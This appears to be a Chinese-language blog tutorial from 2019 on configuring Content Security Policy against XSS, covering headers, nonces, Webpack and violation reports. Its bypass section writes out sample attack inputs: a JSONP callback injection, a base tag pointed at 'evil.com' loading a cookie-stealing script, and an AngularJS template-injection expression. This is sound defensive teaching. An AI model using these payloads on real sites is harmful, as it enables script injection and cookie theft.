Skip to content
⚠️ This article was written in 2019. Some content may be outdated.

前端安全之 CSP (Content Security Policy):實踐方法與治理思路

前端安全是每個開發者都應該重視的話題。XSS 攻擊防不勝防,單純靠過濾用户輸入很難做到萬無一失。CSP(Content Security Policy)提供了一種從瀏覽器層面限製資源加載和腳本執行的機製,是 XSS 防禦的重要補充。

CSP 是什麼

CSP 是一個 HTTP 響應頭,告訴瀏覽器哪些資源可以加載、哪些不可以。即使攻擊者成功注入了惡意腳本,CSP 也能阻止瀏覽器執行它。

最基本的 CSP 頭長這樣:

Content-Security-Policy: default-src 'self'

這行設定意味着:所有資源(腳本、樣式、圖片、字體等)隻能從同源加載。

設定方式

方式一:HTTP 響應頭(推薦)

Nginx 配置:

nginx
server {
    listen 80;
    server_name example.com;

    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self' https://cdn.jsdelivr.net;
        style-src 'self' 'unsafe-inline';
        img-src 'self' data: https:;
        font-src 'self' https://fonts.gstatic.com;
        connect-src 'self' https://api.example.com;
        frame-ancestors 'none';
        base-uri 'self';
        form-action 'self';
    ";
}

Express 配置:

javascript
app.use((req, res, next) => {
  res.setHeader(
    "Content-Security-Policy",
    "default-src 'self'; script-src 'self' 'unsafe-inline'",
  );
  next();
});

方式二:meta 標籤

html
<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self'"
/>

注意:meta 標籤方式不支持 report-uriframe-ancestors 等指令,所以生產環境建議用 HTTP 頭。

常用指令詳解

| 指令 | 作用 | | ----------------- | ------------------------------------------ | | default-src | 所有資源類型的默認策略 | | script-src | JavaScript 腳本 | | style-src | CSS 樣式表 | | img-src | 圖片 | | font-src | 字體文件 | | connect-src | fetch、XHR、WebSocket 等 | | frame-src | iframe 加載 | | media-src | 音視頻 | | object-src | <object><embed> | | base-uri | <base> 標籤 | | form-action | 表單提交目標 | | frame-ancestors | 誰可以嵌套當前頁面(替代 X-Frame-Options) |

nonce 方案:解決 inline script 問題

很多項目(特別是用了 Webpack 打包的)會生成 inline script。CSP 默認會阻止所有 inline script,除非你使用 'unsafe-inline',但這等於把安全大門又打開了。

更好的方案是 nonce(一次性隨機數):

Content-Security-Policy: script-src 'nonce-random123abc'
html
<!-- 這個會被執行 -->
<script nonce="random123abc">
  console.log("安全的內聯腳本");
</script>

<!-- 這個會被阻止 -->
<script>
  alert("惡意腳本");
</script>

在 Node.js 中的實踐:

javascript
const crypto = require("crypto");

app.use((req, res, next) => {
  // 每次請求生成隨機 nonce
  const nonce = crypto.randomBytes(16).toString("base64");

  // 設置 CSP 頭
  res.setHeader(
    "Content-Security-Policy",
    `script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'`,
  );

  // 把 nonce 傳給模板
  res.locals.nonce = nonce;
  next();
});
html
<!-- 模板中使用 -->
<script nonce="&#123;&#123; nonce &#125;&#125;">
  // 應用初始化代碼
  window.__INITIAL_STATE__ = &#123;&#123; state &#125;&#125;
</script>

Webpack + CSP 的配合

Webpack 打包後默認會生成 inline runtime 代碼。要配合 CSP,需要做如下設定:

javascript
// webpack.config.js
const HtmlWebpackPlugin = require("html-webpack-plugin");

module.exports = {
  output: {
    // 使用 webpack runtime 作為單獨 chunk
    // 避免 inline 到 HTML 中
  },
  plugins: [
    new HtmlWebpackPlugin({
      template: "./src/index.html",
      nonce: "<%= nonce %>",
    }),
  ],
};

如果用 mini-css-extract-plugin 把 CSS 提取成檔案而不是 inline style,可以安全地移除 'unsafe-inline' 對 style-src 的需求:

javascript
const MiniCssExtractPlugin = require("mini-css-extract-plugin");

module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [MiniCssExtractPlugin.loader, "css-loader"],
      },
    ],
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: "css/[name].[contenthash:8].css",
    }),
  ],
};

report-uri:監控違規行為

配置 report-uri 可以讓瀏覽器在檢測到 CSP 違規時自動上報:

Content-Security-Policy: default-src 'self'; report-uri /csp-report
javascript
// 後端接收違規報告
app.post(
  "/csp-report",
  express.json({ type: "application/csp-report" }),
  (req, res) => {
    const report = req.body["csp-report"];
    console.error("CSP Violation:", {
      blockedUri: report["blocked-uri"],
      violatedDirective: report["violated-directive"],
      documentUri: report["document-uri"],
      sourceFile: report["source-file"],
      lineNumber: report["line-number"],
    });

    res.status(204).end();
  },
);

違規報告的數據結構:

json
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "blocked-uri": "https://evil.com/steal.js",
    "violated-directive": "script-src 'self'",
    "effective-directive": "script-src",
    "original-policy": "default-src 'self'; report-uri /csp-report",
    "disposition": "enforce",
    "status-code": 200,
    "line-number": 15,
    "column-number": 2,
    "source-file": "https://example.com/page"
  }
}

還有 Content-Security-Policy-Report-Only 頭,隻上報不阻止,適合上線前的灰度測試:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

常見繞過與防禦

JSONP 繞過

如果 script-src 允許了某個域名,攻擊者可以通過該域名的 JSONP 接口注入腳本:

html
<!-- 如果 script-src 允許了 trusted.com -->
<script src="https://trusted.com/api?callback=alert(1)"></script>

防禦:精確到路徑級別,不要整站放行:

# 不要這樣
script-src https://trusted.com

# 應該這樣
script-src https://trusted.com/api/safe-endpoint

base-uri 繞過

攻擊者注入 <base href="https://evil.com/"> 後,頁面上所有相對路徑的資源都會從惡意域名加載:

html
<base href="https://evil.com/" />
<script src="/steal-cookies.js"></script>

防禦:限製 base-uri

base-uri 'self'

Angular 範本注入

如果頁面用了 AngularJS 1.x,&#123;&#123;constructor.constructor('alert(1)')()&#125;&#125;這樣的表達式可以繞過某些 CSP 配置。

防禦:script-src 中使用 nonce,不要使用 'unsafe-inline''unsafe-eval'

實際項目中的 CSP 設定範本

一個相對完整的生產環境配置:

Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-{random}';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https://cdn.example.com;
    font-src 'self' https://fonts.googleapis.com;
    connect-src 'self' https://api.example.com wss://ws.example.com;
    media-src 'none';
    object-src 'none';
    frame-src 'none';
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-report;

幾個注意點:

  • style-src 'unsafe-inline' 很多項目暫時無法避免,因為 Vue/React 的組件庫大量使用 inline style
  • object-src 'none'frame-src 'none' 是防止老版本瀏覽器繞過的重要手段
  • upgrade-insecure-requests 會自動將 HTTP 請求升級為 HTTPS

小結

  • CSP 是 XSS 防禦的最後一道防線,即使輸入過濾被突破,CSP 也能阻止惡意腳本執行
  • 優先使用 HTTP 響應頭配置,而非 <meta> 標籤
  • nonce 方案比 'unsafe-inline' 安全得多,建議腳本全部使用 nonce
  • 配置 report-uri 監控線上 CSP 違規,先用 Report-Only 模式收集數據再切換到 enforce
  • 注意 JSONP、base 標籤等間接繞過方式
  • CSP 不是萬能的,需要與輸入過濾、輸出編碼、HttpOnly Cookie 等手段配合使用

MIT Licensed